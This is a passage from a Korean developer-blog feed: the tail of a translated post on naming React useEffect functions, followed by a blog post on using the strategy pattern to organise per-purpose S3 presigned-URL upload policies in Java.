&lt;p&gt;Sergio Xalambrí가 2020년에 &lt;code&gt;useEffect&lt;/code&gt; 함수에 이름 붙이기에 대해 글을 썼습니다. Cory House도 같은 말을 했습니다. 새로운 이야기가 아닙니다. 그럼에도 거의 아무도 하지 않는 이유는, 커뮤니티가 집단적으로 &lt;code&gt;useEffect(() =&amp;gt; {&lt;/code&gt;를 이펙트를 쓰는 유일한 방법으로 내재화했기 때문입니다.&lt;/p&gt;
&lt;p&gt;공식 문서든, 튜토리얼이든, AI 생성 코드든 그대로 가져다 씁니다. 익명 화살표 함수가 기본값이 됐고, 한번 굳어진 기본값은 좀처럼 바뀌지 않습니다.&lt;/p&gt;
&lt;p&gt;전환 비용은 거의 없습니다. 새 라이브러리도, 빌드 플러그인도 필요 없습니다. 함수에 이름 하나를 추가하면 되고, 오래된 파일을 열어 모든 이펙트를 다시 읽지 않아도 무슨 일을 하는지 바로 알게 되는 순간 그 차이를 느낄 겁니다.&lt;/p&gt;
&lt;p&gt;오늘부터 이펙트에 이름을 붙여 보세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="참고-자료"&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kyle Shevlin, &lt;a href="https://kyleshevlin.com/use-encapsulation/"&gt;useEncapsulation&lt;/a&gt; — 모든 훅을 커스텀 훅으로 감싸야 한다는 주장과 eslint-plugin-use-encapsulation ESLint 플러그인&lt;/li&gt;
&lt;li&gt;리액트 공식 문서, &lt;a href="https://react.dev/learn/you-might-not-need-an-effect"&gt;You Might Not Need an Effect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;리액트 공식 문서, &lt;a href="https://react.dev/learn/reusing-logic-with-custom-hooks"&gt;Reusing Logic with Custom Hooks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;리액트 레거시 문서, &lt;a href="https://legacy.reactjs.org/docs/hooks-rules.html"&gt;Rules of Hooks&lt;/a&gt; — 예시에서 기명 함수 표현식 사용&lt;/li&gt;
&lt;li&gt;Dan Abramov, &lt;a href="https://overreacted.io/a-complete-guide-to-useeffect/"&gt;A Complete Guide to useEffect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Sergio Xalambrí, &lt;a href="https://sergiodxa.com/tutorials/name-your-useeffect"&gt;Pro Tip: Name your useEffect functions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nate Liu, &lt;a href="https://www.linkedin.com/posts/nate-liu_react-reactjs-webdevelopment-activity-7175559458661498880-VJH8"&gt;1 second refactor tip: readability and maintainability by naming your function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;deckstar, &lt;a href="https://dev.to/deckstar/react-pro-tip-1-name-your-useeffect-3i7b"&gt;React Pro Tip #1 — Name your useEffect!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</summary>
    <title>[번역] useEffect 함수에 이름 붙이기, 절대 후회 없을 선택</title>
    <updated>2026-05-13T22:37:47+09:00</updated>
    <dc:date>2026-05-13T22:37:47+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>행복한 시지프</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;h2 data-heading="들어가며" data-ke-size="size26"&gt;들어가며&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;백엔드 개발을 하다 보면 정책이 까다로운 코드가 생긴다. 처음에는 if, switch로 분기해도 충분해 보인다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;문제는 목적이 늘어날 때 생긴다. 이번 사이드 프로젝트에서 S3 presigned-url API를 구현하면서 업로드 목적별 정책이 달라졌다. 프로필 이미지는 5MB까지만 허용하고, 활동 기록 이미지는 10MB까지 허용한다. OCR 오류 리포트 이미지는 저장 경로도 별도로 가져가야 했다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;처음 구현은 목적별 정책이 여러 파일에 흩어져 있었다. 새로운 업로드 목적을 추가하면서 한 곳을 고치고 다른 한 곳을 빼먹었다. 이때 전략 패턴을 적용해 정책을 업로드 목적 단위로 모았다.&lt;/p&gt;
&lt;h2 data-heading="전략 패턴이 무엇인가?" data-ke-size="size26"&gt;전략 패턴이 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;b&gt;전략 패턴은 바뀔 수 있는 규칙이나 알고리즘을 인터페이스로 분리하고, 실행 시점에 알맞은 구현체를 골라 쓰는 디자인 패턴이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;핵심은 "분기문을 없앤다"가 아니다. 핵심은 "변경되는 이유가 같은 코드를 한 곳에 모은다"이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴을 적용하기 전에는 호출하는 쪽이 여러 조건을 알고 있었다.&lt;/p&gt;
&lt;pre class="gauss"&gt;&lt;code&gt;if (purpose == PROFILE_IMAGE) {
    // 프로필 이미지 정책
}

if (purpose == ACTIVITY_RECORD_IMAGE) {
    // 활동 기록 이미지 정책
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴을 적용하면 호출하는 쪽은 공통 인터페이스만 알고, 구체적인 정책은 각 전략 객체가 맡는다.&lt;/p&gt;
&lt;pre class="java" data-ke-language="java"&gt;&lt;code&gt;UploadPurposePolicy policy = uploadPurposePolicy(request.uploadPurpose());
policy.validateFileSize(request.fileSize());
String objectKey = policy.createObjectKey(userId, request.fileName());&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-heading="비즈니스 로직" data-ke-size="size26"&gt;비즈니스 로직&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;S3 presigned-url API는 업로드 목적별로 다른 정책을 가진다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;목적 허용 content type 최대 파일 크기 object key prefix&lt;/p&gt;
&lt;table style="border-collapse: collapse; width: 100%;" border="1" data-ke-align="alignLeft"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PROFILE_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;5MB&lt;/td&gt;
&lt;td&gt;profile-images/{userId}/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACTIVITY_RECORD_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;10MB&lt;/td&gt;
&lt;td&gt;activity-records/{userId}/{yyyy}/{MM}/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCREEN_TIME_OCR_REPORT_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;10MB&lt;/td&gt;
&lt;td&gt;screen-time-ocr-reports/{userId}/{yyyy}/{MM}/&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size="size16"&gt;여기서 모든 정책이 목적별로 다른 것은 아니다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;content type 검증은 공통이다.&lt;/li&gt;
&lt;li&gt;파일 크기 제한은 목적별로 다르다.&lt;/li&gt;
&lt;li&gt;object key 경로도 목적별로 다르다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;따라서 모든 코드를 전략으로 밀어 넣으면 안 된다. 공통 정책은 공통 정책으로 남기고, 목적에 따라 달라지는 정책만 전략으로 묶어야 한다.&lt;/p&gt;
&lt;h2 data-heading="기존 구현의 문제" data-ke-size="size26"&gt;기존 구현의 문제&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;원래는 업로드 목적이 두 개였다. 이때는 목적별 분기가 크게 문제처럼 보이지 않았다. 하지만 새 목적을 추가하자 변경 지점이 흩어져 있다는 문제가 드러났다.&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="ChatGPT Image 2026년 5월 15일 오후 09_58_16.png" data-origin-width="2110" data-origin-height="745"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png" data-phocus="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL5qZ5%2FdJMcaiwy4Dj%2FN8uvIkEzjPmmruuyJUm9b1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="2110" height="745" data-filename="ChatGPT Image 2026년 5월 15일 오후 09_58_16.png" data-origin-width="2110" data-origin-height="745"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;새로운 업로드 목적을 추가하려면 최소한 다음 파일들을 같이 봐야 했다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;UploadFileSizePolicy&lt;/li&gt;
&lt;li&gt;UploadObjectKeyFactory&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;실제로 UploadFileSizePolicy에 분기문을 추가하는 것을 잊었다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이건 단순 실수가 아니다. 코드 구조가 실수를 유도한 것이다. 업로드 목적 하나를 추가하는 변경인데, 파일 크기 정책과 object key 생성 정책이 서로 다른 모듈에 흩어져 있었다. 변경 이유는 하나인데 수정해야 할 모듈은 여러 개였다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;b&gt;응집도&lt;/b&gt;가 낮다는 것은 이런 상태다. 같이 바뀌어야 하는 코드가 같이 있지 않다. 그래서 유지보수할 때 여러 파일을 돌아다녀야 하고, 그중 하나를 놓치기 쉽다.&lt;/p&gt;
&lt;h2 data-heading="개선 방향" data-ke-size="size26"&gt;개선 방향&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;이 문제의 축은 "업로드 목적"이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;업로드 목적이 바뀌면 함께 바뀌는 규칙이 있다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;이 목적은 어떤 UploadPurpose에 대응하는가?&lt;/li&gt;
&lt;li&gt;최대 파일 크기는 얼마인가?&lt;/li&gt;
&lt;li&gt;사용자별 object key prefix는 무엇인가?&lt;/li&gt;
&lt;li&gt;실제 object key directory는 어떻게 구성하는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;그래서 이 규칙들을 UploadPurposePolicy라는 하나의 인터페이스로 모았다.&lt;/p&gt;
&lt;pre class="java" data-ke-language="java"&gt;&lt;code&gt;public interface UploadPurposePolicy {

    UploadPurpose purpose();

    long maxFileSize();

    String objectKeyPrefixForUser(Long userId);

    String objectKeyDirectory(Long userId);

    default void validateFileSize(Long fileSize) {
        // 공통 파일 크기 검증 흐름
    }

    default String createObjectKey(Long userId, String fileName) {
        // 공통 object key 생성 흐름
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;각 업로드 목적은 이 인터페이스를 구현한다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;ProfileImageUploadPurposePolicy&lt;/li&gt;
&lt;li&gt;ActivityRecordImageUploadPurposePolicy&lt;/li&gt;
&lt;li&gt;ScreenTimeOcrReportImageUploadPurposePolicy&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;이제 파일 크기와 object key 경로는 목적별 정책 객체 안에 같이 있다.&lt;/p&gt;
&lt;h2 data-heading="개선된 구조" data-ke-size="size26"&gt;개선된 구조&lt;/h2&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="ChatGPT Image 2026년 5월 15일 오후 10_29_35.png" data-origin-width="1890" data-origin-height="832"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png" data-phocus="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFEV4E%2FdJMcah5xr2Q%2FL0Okc0a0rSbGX72dKxmKF1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1890" height="832" data-filename="ChatGPT Image 2026년 5월 15일 오후 10_29_35.png" data-origin-width="1890" data-origin-height="832"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;S3UploadService는 더 이상 목적별 세부 규칙을 직접 알 필요가 없다. 요청의 업로드 목적에 맞는 정책을 찾고, 그 정책에게 검증과 object key 생성을 맡긴다.&lt;/p&gt;
&lt;pre class="reasonml"&gt;&lt;code&gt;String contentType = uploadContentTypePolicy.validate(request.contentType());
UploadPurposePolicy uploadPurposePolicy = uploadPurposePolicy(request.uploadPurpose());
uploadPurposePolicy.validateFileSize(request.fileSize());

String objectKey = uploadPurposePolicy.createObjectKey(userId, request.fileName());
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;여기서 UploadContentTypePolicy는 그대로 공통 정책으로 남긴다. 업로드 목적과 무관하게 이미지 타입을 검증하는 규칙이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;반면 maxFileSize, objectKeyPrefixForUser, objectKeyDirectory는 목적별로 달라진다. 그래서 ProfileImageUploadPurposePolicy, ActivityRecordImageUploadPurposePolicy, ScreenTimeOcrReportImageUploadPurposePolicy 안으로 들어간다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;결과적으로 새 업로드 목적이 추가될 때 기존 정책 클래스들을 수정하지 않아도 된다. 새 목적에 맞는 UploadPurposePolicy 구현체를 추가하면 된다. 전략 패턴이 줄여주는 것은 기존 정책 분기 수정이다.&lt;/p&gt;
&lt;h2 data-heading="무엇이 좋아졌는가?" data-ke-size="size26"&gt;무엇이 좋아졌는가?&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;1. 변경 지점이 줄었다. 새 업로드 목적을 추가할 때 기존 UploadFileSizePolicy, UploadObjectKeyFactory의 분기문을 다시 열지 않는다. 목적별 정책 클래스 하나를 추가한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;2. 응집도가 높아졌다. SCREEN_TIME_OCR_REPORT_IMAGE의 파일 크기 제한과 저장 경로가 같은 클래스에 있다. 이 목적을 이해하려면 여러 정책 파일을 찾아다니지 않아도 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;3. 테스트가 목적 단위로 쉬워졌다. ScreenTimeOcrReportImageUploadPurposePolicy를 테스트하면 OCR 리포트 업로드 목적의 파일 크기와 경로 규칙을 함께 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt;4. S3UploadService의 역할이 단순해졌다. 이 서비스는 presigned-url 발급 흐름을 조립한다. 목적별 정책 판단은 정책 객체가 담당한다.&lt;/p&gt;
&lt;h2 data-heading="전략 패턴을 쓸 때의 기준" data-ke-size="size26"&gt;전략 패턴을 쓸 때의 기준&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴은 다음 조건이 있을 때 잘 맞는다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;규칙의 종류가 앞으로 늘어날 가능성이 있다.&lt;/li&gt;
&lt;li&gt;새 규칙을 추가할 때 기존 분기문을 여러 곳에서 수정해야 한다.&lt;/li&gt;
&lt;li&gt;호출하는 쪽이 세부 규칙을 몰라도 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-heading="마치며" data-ke-size="size26"&gt;마치며&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴은 흩어진 변경 지점을 모으는 일이다. 이번 리팩터링의 핵심은 업로드 목적별로 달라지는 정책을 UploadPurposePolicy로 묶은 것이다. 공통 정책은 공통 정책으로 두고, 목적별로 바뀌는 파일 크기와 object key 생성 규칙만 전략으로 분리했다. 그 결과 새 목적을 추가할 때 기존 분기문을 수정하는 대신 새 전략을 추가하는 구조가 됐다. 유지보수하기 훨씬 좋아졌다.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://happysisyphe.tistory.com/105</id>
    <link href="https://happysisyphe.tistory.com/105"/>
    <summary type="html">&lt;h2 data-heading="들어가며" data-ke-size="size26"&gt;들어가며&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;백엔드 개발을 하다 보면 정책이 까다로운 코드가 생긴다. 처음에는 if, switch로 분기해도 충분해 보인다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;문제는 목적이 늘어날 때 생긴다. 이번 사이드 프로젝트에서 S3 presigned-url API를 구현하면서 업로드 목적별 정책이 달라졌다. 프로필 이미지는 5MB까지만 허용하고, 활동 기록 이미지는 10MB까지 허용한다. OCR 오류 리포트 이미지는 저장 경로도 별도로 가져가야 했다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;처음 구현은 목적별 정책이 여러 파일에 흩어져 있었다. 새로운 업로드 목적을 추가하면서 한 곳을 고치고 다른 한 곳을 빼먹었다. 이때 전략 패턴을 적용해 정책을 업로드 목적 단위로 모았다.&lt;/p&gt;
&lt;h2 data-heading="전략 패턴이 무엇인가?" data-ke-size="size26"&gt;전략 패턴이 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;b&gt;전략 패턴은 바뀔 수 있는 규칙이나 알고리즘을 인터페이스로 분리하고, 실행 시점에 알맞은 구현체를 골라 쓰는 디자인 패턴이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;핵심은 "분기문을 없앤다"가 아니다. 핵심은 "변경되는 이유가 같은 코드를 한 곳에 모은다"이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴을 적용하기 전에는 호출하는 쪽이 여러 조건을 알고 있었다.&lt;/p&gt;
&lt;pre class="gauss"&gt;&lt;code&gt;if (purpose == PROFILE_IMAGE) {
    // 프로필 이미지 정책
}

if (purpose == ACTIVITY_RECORD_IMAGE) {
    // 활동 기록 이미지 정책
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;전략 패턴을 적용하면 호출하는 쪽은 공통 인터페이스만 알고, 구체적인 정책은 각 전략 객체가 맡는다.&lt;/p&gt;
&lt;pre class="java" data-ke-language="java"&gt;&lt;code&gt;UploadPurposePolicy policy = uploadPurposePolicy(request.uploadPurpose());
policy.validateFileSize(request.fileSize());
String objectKey = policy.createObjectKey(userId, request.fileName());&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-heading="비즈니스 로직" data-ke-size="size26"&gt;비즈니스 로직&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;S3 presigned-url API는 업로드 목적별로 다른 정책을 가진다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;목적 허용 content type 최대 파일 크기 object key prefix&lt;/p&gt;
&lt;table style="border-collapse: collapse; width: 100%;" border="1" data-ke-align="alignLeft"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PROFILE_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;5MB&lt;/td&gt;
&lt;td&gt;profile-images/{userId}/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACTIVITY_RECORD_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;10MB&lt;/td&gt;
&lt;td&gt;activity-records/{userId}/{yyyy}/{MM}/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCREEN_TIME_OCR_REPORT_IMAGE&lt;/td&gt;
&lt;td&gt;공통 이미지 타입&lt;/td&gt;
&lt;td&gt;10MB&lt;/td&gt;
&lt;td&gt;screen-time-ocr-reports/{userId}/{yyyy}/{MM}/&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size="size16"&gt;여기서 모든 정책이 목적별로 다른 것은 아니다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;content type 검증은 공통이다.&lt;/li&gt;
&lt;li&gt;파일 크기 제한은 목적별로 다르다.&lt;/li&gt;
&lt;li&gt;object key 경로도 목적별로 다르다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;따라서 모든 코드를 전략으로 밀어 넣으면 안 된다. 공통 정책은 공통 정책으로 남기고, 목적에 따라 달라지는 정책만 전략으로 묶어야 한다.&lt;/p&gt;
&lt;h2 data-heading="기존 구현의 문제" data-ke-size="size26"&gt;기존 구현의 문제&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;원래는 업로드 목적이 두 개였다. 이때는 목적별 분기가 크게 문제처럼 보이지 않았다. 하지만 새 목적을 추가하자 변경 지점이 흩어져 있다는 문제가 드러났다.&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="ChatGPT Image 2026년 5월 15일 오후 09_58_16.png" data-origin-width="2110" data-origin-height="745"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png" data-phocus="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/bL5qZ5/dJMcaiwy4Dj/N8uvIkEzjPmmruuyJUm9b1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL5qZ5%2FdJMcaiwy4Dj%2FN8uvIkEzjPmmruuyJUm9b1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="2110" height="745" data-filename="ChatGPT Image 2026년 5월 15일 오후 09_58_16.png" data-origin-width="2110" data-origin-height="745"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;새로운 업로드 목적을 추가하려면 최소한 다음 파일들을 같이 봐야 했다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;UploadFileSizePolicy&lt;/li&gt;
&lt;li&gt;UploadObjectKeyFactory&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;실제로 UploadFileSizePolicy에 분기문을 추가하는 것을 잊었다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;이건 단순 실수가 아니다. 코드 구조가 실수를 유도한 것이다. 업로드 목적 하나를 추가하는 변경인데, 파일 크기 정책과 object key 생성 정책이 서로 다른 모듈에 흩어져 있었다. 변경 이유는 하나인데 수정해야 할 모듈은 여러 개였다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;b&gt;응집도&lt;/b&gt;가 낮다는 것은 이런 상태다. 같이 바뀌어야 하는 코드가 같이 있지 않다. 그래서 유지보수할 때 여러 파일을 돌아다녀야 하고, 그중 하나를 놓치기 쉽다.&lt;/p&gt;
&lt;h2 data-heading="개선 방향" data-ke-size="size26"&gt;개선 방향&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;이 문제의 축은 "업로드 목적"이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;업로드 목적이 바뀌면 함께 바뀌는 규칙이 있다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;이 목적은 어떤 UploadPurpose에 대응하는가?&lt;/li&gt;
&lt;li&gt;최대 파일 크기는 얼마인가?&lt;/li&gt;
&lt;li&gt;사용자별 object key prefix는 무엇인가?&lt;/li&gt;
&lt;li&gt;실제 object key directory는 어떻게 구성하는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;그래서 이 규칙들을 UploadPurposePolicy라는 하나의 인터페이스로 모았다.&lt;/p&gt;
&lt;pre class="java" data-ke-language="java"&gt;&lt;code&gt;public interface UploadPurposePolicy {

    UploadPurpose purpose();

    long maxFileSize();

    String objectKeyPrefixForUser(Long userId);

    String objectKeyDirectory(Long userId);

    default void validateFileSize(Long fileSize) {
        // 공통 파일 크기 검증 흐름
    }

    default String createObjectKey(Long userId, String fileName) {
        // 공통 object key 생성 흐름
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;각 업로드 목적은 이 인터페이스를 구현한다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;ProfileImageUploadPurposePolicy&lt;/li&gt;
&lt;li&gt;ActivityRecordImageUploadPurposePolicy&lt;/li&gt;
&lt;li&gt;ScreenTimeOcrReportImageUploadPurposePolicy&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;이제 파일 크기와 object key 경로는 목적별 정책 객체 안에 같이 있다.&lt;/p&gt;
&lt;h2 data-heading="개선된 구조" data-ke-size="size26"&gt;개선된 구조&lt;/h2&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="ChatGPT Image 2026년 5월 15일 오후 10_29_35.png" data-origin-width="1890" data-origin-height="832"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png" data-phocus="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/FEV4E/dJMcah5xr2Q/L0Okc0a0rSbGX72dKxmKF1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFEV4E%2FdJMcah5xr2Q%2FL0Okc0a0rSbGX72dKxmKF1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1890" height="832" data-filename="ChatGPT Image 2026년 5월 15일 오후 10_29_35.png" data-origin-width="1890" data-origin-height="832"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;S3UploadService는 더 이상 목적별 세부 규칙을 직접 알 필요가 없다. 요청의 업로드 목적에 맞는 정책을 찾고, 그 정책에게 검증과 object key 생성을 맡긴다.&lt;/p&gt;
&lt;pre class="reasonml"&gt;&lt;code&gt;String contentType = uploadContentTypePolicy.validate(request.contentType());
UploadPurposePolicy uploadPurposePolicy = uploadPurposePolicy(request.uploadPurpose());
uploadPurposePolicy.validateFileSize(request.fileSize());

String objectKey = uploadPurposePolicy.createObjectKey(userId, request.fileName());
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;여기서 UploadContentTypePolicy는 그대로 공통 정책으로 남긴다. 업로드 목적과 무관하게 이미지 타입을 검증하는 규칙이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
